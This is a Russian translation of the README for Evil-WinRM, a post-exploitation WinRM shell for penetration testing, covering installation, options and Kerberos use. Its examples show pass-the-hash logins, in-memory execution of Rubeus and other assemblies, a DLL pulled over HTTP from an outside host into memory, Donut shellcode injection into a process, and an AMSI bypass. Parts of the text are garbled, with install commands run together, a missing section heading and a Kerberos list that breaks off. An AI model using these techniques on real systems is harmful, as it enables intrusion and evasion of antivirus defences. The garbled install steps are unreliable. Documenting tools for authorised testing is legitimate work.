
Лучшая оболочка WinRM для взлома/тестирования на проникновение
Идеальная WinRM-оболочка для взлома/пентеста

Эта оболочка — идеальная WinRM-оболочка для взлома/пентеста.
WinRM (Windows Remote Management) — это реализация протокола WS-Management от Microsoft. Стандартный протокол на основе SOAP, который позволяет оборудованию и операционным системам от разных производителей взаимодействовать друг с другом. Microsoft включила его в свои операционные системы, чтобы облегчить жизнь системным администраторам.
Эта программа может использоваться на любых серверах Microsoft Windows с включённой этой функцией (обычно на порту 5985), конечно, только если у вас есть учётные данные и разрешения для её использования. Таким образом, можно сказать, что она может применяться на этапе пост-эксплуатации при взломе/пентесте. Назначение этой программы — предоставить удобные и простые в использовании функции для взлома. Она также может использоваться системными администраторами в законных целях, но большинство её функций ориентировано на взлом/пентест.
Она основана главным образом на библиотеке WinRM для Ruby, которая изменила свой способ работы начиная с версии 2.0. Теперь вместо использования протокола WinRM она использует PSRP (Powershell Remoting Protocol) для инициализации пулов runspace, а также для создания и обработки конвейеров.
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message
## Требования
Требуется Ruby 2.3 или выше. Также необходимы некоторые ruby-гемы: `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`, `readline ~> 0.0.4`, `readline-ext ~> 0.2.0`.
В зависимости от выбранного метода установки (доступно 4) их установка может потребоваться вручную.
Ещё одно важное требование, используемое только для аутентификации Kerberos, — установка пакета Kerberos, применяемого для сетевой аутентификации.
Для некоторых дистрибутивов Linux на основе Debian (Kali, Parrot и т. д.) он называется `krb5-user`. Для BlackArch он называется `krb5`, а для других дистрибутивов Linux он может называться иначе.
Функция автодополнения удалённых путей требует нативной привязки `readline-ext`, которая устанавливается автоматически как зависимость Evil-WinRM. Для некоторых систем требуются дополнительные пакеты разработчика для её компиляции. Дополнительную информацию см. в [разделе ниже](#Remote-path-completion).
## Установка и быстрый старт (4 метода)
### Метод 1. Установка напрямую как ruby-гем (зависимости будут установлены автоматически в вашей системе)
- Шаг 1. Установите его (зависимости установятся автоматически): ```gem install evil-winrm```
- Шаг 2. Готово. Просто запускайте его!```
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
sudo gem install winrm winrm-fs stringio logger fileutils readline readline-extgit clone https://github.com/Hackplayers/evil-winrm.git### Метод 3. Использование bundler (зависимости не будут установлены в вашу систему, просто для использования evil-winrm)
- Шаг 1. Установите bundler: `gem install bundler`
- Шаг 2. Клонируйте репозиторий: `git clone https://github.com/Hackplayers/evil-winrm.git`
- Шаг 3. Установите зависимости с помощью bundler: `cd evil-winrm && bundle install --path vendor/bundle`
- Шаг 4. Запустите его с помощью bundler:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
## Документация
### Пароль в открытом виде
Если вы не хотите указывать пароль в открытом виде, вы можете не задавать аргумент `-p`, и пароль будет запрошен без отображения на экране.
### IPv6
Для использования IPv6 адрес должен быть добавлен в /etc/hosts. Просто укажите уже заданное имя хоста после аргумента `-i` вместо IP-адреса.
### Основные команды
- **upload**: локальные файлы можно автодополнять с помощью клавиши Tab.
- использование: `upload local_filename` или `upload local_filename destination_filename`
- **download**:
- использование: `download remote_filename` или `download remote_filename destination_filename`
__Примечания о путях (upload/download)__:
Относительные пути не допускаются для download/upload. Используйте имена файлов в текущем каталоге или абсолютные пути.
Если вы используете Evil-WinRM в среде docker, имейте в виду, что все локальные пути должны находиться в `/data`, и убедитесь, что вы смонтировали его как том, чтобы иметь доступ к загруженным файлам или иметь возможность загружать файлы с вашей локальной ОС.
- **services**: выводит список всех служб с указанием, есть ли у вашей учетной записи права на каждую из них. Для использования этой функции права администратора не требуются.
- **menu**: загружает функции `Invoke-Binary`, `Dll-Loader` и `Donut-Loader`, которые мы объясним ниже. Когда загружается ps1-файл, отображаются все его функции.
- **clear** или **cls**: очищает экран терминала. Также можно использовать сочетание клавиш `Ctrl+L` для очистки экрана.
- **exit** или **quit**: закрывает сеанс Evil-WinRM. Также можно использовать сочетание клавиш `Ctrl+D`.```
*Evil-WinRM* PS C:\> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
\/ \/ \/ \/ \/
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit
Чтобы загрузить ps1-файл, достаточно ввести его имя (допускается автодополнение по табуляции). Скрипты должны находиться в пути, заданном аргументом -s. Введите menu снова и посмотрите загруженные функции. Очень большие файлы могут загружаться долго.```
Evil-WinRM PS C:> PowerView.ps1
Evil-WinRM PS C:> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ')
_ / _|| | (( ( / \ / _| _ \ /
| __)\ / / | | ;)') \ // / |/ | / / \ /
| \ /| | | // \ /| | | \ | / Y
/_____ / _/ |__|/ _/\ / ||| /__| /__| /
/ / / / /
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember
### Расширенные команды
- Invoke-Binary: позволяет выполнять .NET-сборки в памяти. Имя можно автоматически дополнить с помощью клавиши Tab. Аргументы для exe-файла можно передавать через запятую. Пример: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. Исполняемые файлы должны находиться в пути, заданном аргументом `-e`.```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
Execute binaries from memory.
PowerShell Function: Invoke-Binary
Author: Luis Vacas (CyberVaca)
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Invoke-Binary /opt/csharp/Watson.exe
Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
Description
-----------
Function that execute binaries from memory.
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
Ticket requests and renewals:
Dll-Loader: позволяет загружать DLL-библиотеки в память, это эквивалентно: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))
DLL-файл может размещаться через SMB, HTTP или локально. После его загрузки введите menu, затем станет доступна автодополнение всех функций.```
Evil-WinRM PS C:> Dll-Loader
.SYNOPSIS
dll loader.
PowerShell Function: Dll-Loader
Author: Hector de Armas (3v4Si0N)
Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll
Function that loads an arbitrary dll
Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu
[... Snip ...]
Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()
Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64
- Donut-Loader: позволяет внедрять x64-пейлоады, сгенерированные с помощью замечательной техники [donut]. Нет необходимости кодировать payload.bin — просто генерируйте и внедряйте!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
Donut Loader.
PowerShell Function: Donut-Loader
Author: Luis Vacas (CyberVaca)
Based code: TheWover
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin
Description
-----------
Function that loads an arbitrary donut :D
Вы можете использовать этот donut-maker для генерации payload.bin, если не используете Windows. Этот скрипт использует Python-модуль, написанный Марчелло Сальвати (byt3bl33d3r). Его можно установить с помощью pip: `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe
.'/,-Y" "-.
l.Y ^.
/\ __ Donuts!
i /" "
| /" "\ o !
l ] o !./
\ _ _ .__./ "
X / \ _./
( \ . ..--" ~" /
Y \ /
| "x.^
| -. Z,-- /
__. ( / ______)
\ l /-----
j Y
[+] Donut generated successfully: payload.bin
- Bypass-4MSI: исправляет защиту AMSI.```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!
*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>
Сначала нужно синхронизировать время с контроллером домена: rdate -n <dc_ip>
Для генерации билета существует множество способов:
Добавьте файл билета. Есть 3 способа:
export KRB5CCNAME=/foo/var/ticket.ccache
cp ticket.ccache /tmp/krb5cc_0
Используйте параметр -K: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache или evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi
При использовании -K инструмент автоматически:
KRB5CCNAMEДобавьте realm в /etc/krb5.conf (для Linux). Важно использовать следующий формат: ```
CONTOSO.COM = {
kdc = fooserver.contoso.com
}
Проверка билетов Kerberos с помощью klist
Для удаления билета используйте: kdestroy
Дополнительную информацию о Kerberos смотрите в этой [шпаргалке]
Эта функция требует нативного расширения readline-ext. Evil-WinRM объявляет его как зависимость, поэтому он устанавливается автоматически при использовании RubyGems или Bundler. Если нативное расширение не может быть собрано, эта функция не будет работать (будет показано предупреждение).
Примечание для Ruby 3.3+:
ext/readline был удалён из исходников Ruby в версии 3.3 (Feature #19616). Поэтому Метод 1 ниже нельзя использовать с Ruby 3.3 или новее. В системах на основе Debian установите необходимый пакет разработки перед установкой Evil-WinRM или его зависимостей:```
sudo apt install libreadline-dev
The `readline-ext` dependency makes `require 'readline'` load GNU Readline instead of `reline`, which lacks `quoting_detection_proc`, the method Evil-WinRM checks for. The methods below target older Ruby versions and are kept for compatibility.
#### Method 1 (compile the needed extension)
Using this method you'll compile ruby with the needed readline feature but to use only the library without changing the default ruby version on your system. Because of this, is the most recommended method.
Let's suppose that you have in your Debian based system ruby 2.7.3:```
# Install needed package
apt install libreadline-dev
# Check your ruby version
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]
# Download ruby source code (2.7.3 in this case):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz
# Extract source code
tar -xf ruby-2.7.3.tar.gz
# Compile the readline extension:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make
# Patch current version of the ruby readline extension:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so
Предположим, что вам нужен ruby 2.7.1 на Linux на базе Debian, и вы используете zsh. Этот скрипт автоматизирует процесс. Вам нужно запустить его из той же директории, где находятся evil-winrm.rb и Gemfile (например, директория, созданная для evil-winrm после git clone):``` #!/usr/bin/env zsh
sudo gem uninstall evil-winrm -q gem uninstall evil-winrm -q
sudo apt install rbenv
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc echo 'eval "$(rbenv init -)"' >> ~/.zshrc source ~/.zshrc
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline" rbenv install 2.7.1
rbenv local 2.7.1
gem install bundler bundle install
current_evwr="$(pwd)/evil-winrm.rb"
sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm #!/usr/bin/env sh "${current_evwr}" "$@" EOF"
sudo chmod +x /usr/bin/evil-winrm
Затем вы можете безопасно запустить evil-winrm, используя новый установленный ruby с необходимой поддержкой readline, из любого расположения.
#### Метод 3 (компиляция всего ruby)
Если вы хотите скомпилировать его самостоятельно, вы можете выполнить следующие шаги. Предположим, что вам нужен ruby 2.7.3:```
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline
В зависимости от вашей системы он будет установлен в /opt/rubies/ruby-2.7.3 или, возможно, в ~/.rubies/ruby-2.7.3.
Теперь просто нужно установить зависимости evil-winrm для этой новой установленной версии ruby. Самый простой способ — выполнить команду /opt/rubies/ruby-2.7.3/bin/gem install evil-winrm. Используемая команда gem должна принадлежать новой установке ruby.
После этого вы можете безопасно запустить вашу новую установленную ruby, чтобы использовать её с evil-winrm: /opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h
Рекомендуется использовать эту новую установленную ruby только для запуска evil-winrm. Если вы сделаете её ruby по умолчанию для вашей системы, имейте в виду, что в ней не установлены зависимые гемы. Некоторое программное обеспечение на основе ruby, такое как Metasploit или другие, может не запуститься корректно из-за проблем с зависимостями.
Эта функция создаст файлы в вашем каталоге $HOME, сохраняя команды и выводы сессий WinRM.
Evil-WinRM поддерживает постоянную историю команд для каждой комбинации хоста и пользователя. История хранится в каталоге ~/.evil-winrm/history/ с файлами, названными как {host}_{user}.hist.
Когда вы подключаетесь к машине, к которой ранее обращались, вы можете использовать клавиши со стрелками (Вверх/Вниз) для навигации по предыдущим командам. История автоматически сохраняется после каждого выполнения команды и загружается при повторном подключении к тому же хосту с тем же пользователем.
Иногда вы можете столкнуться с ошибкой, подобной этой:``` Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error
Ошибка возникает из-за того, что в версии OpenSSL 3.0 были удалены некоторые устаревшие функции, такие как MD4, которые необходимы для работы этого инструмента. Существует несколько обходных путей для решения этой проблемы:
- Обновите вашу систему до последней версии. Скорее всего, эта проблема была автоматически исправлена в последних версиях Ruby, которые используют более новые версии OpenSSL.
- Скомпилируйте собственный Ruby со старой версией OpenSSL 1.x вместо OpenSSL 3.0 или скомпилируйте его с OpenSSL > 3.0, чтобы избежать проблемной версии 3.0.
- Самый простой способ. Отредактируйте файл конфигурации `/etc/ssl/openssl.cnf` и убедитесь, что конфигурация выглядит следующим образом:```
openssl_conf = openssl_init
[openssl_init]
providers = provider_sect
[provider_sect]
default = default_sect
legacy = legacy_sect
[default_sect]
activate = 1
[legacy_sect]
activate = 1
evil-tls.conf. После этого экспортируйте переменную окружения, чтобы заставить систему использовать его: export OPENSSL_CONF="/path/to/evil-tls.conf". Затем запустите инструмент, и ошибка исчезнет.Журнал изменений и изменения проекта можно посмотреть здесь: CHANGELOG.md
Команда:
Благодарности:
Этот скрипт распространяется под лицензией LGPLv3+. Прямая ссылка на Лицензию.
Evil-WinRM следует использовать только для авторизованного тестирования на проникновение и/или в некоммерческих образовательных целях. Любое неправомерное использование этого программного обеспечения не является ответственностью автора или любого другого соавтора. Используйте его на своих серверах и/или с разрешения владельца сервера.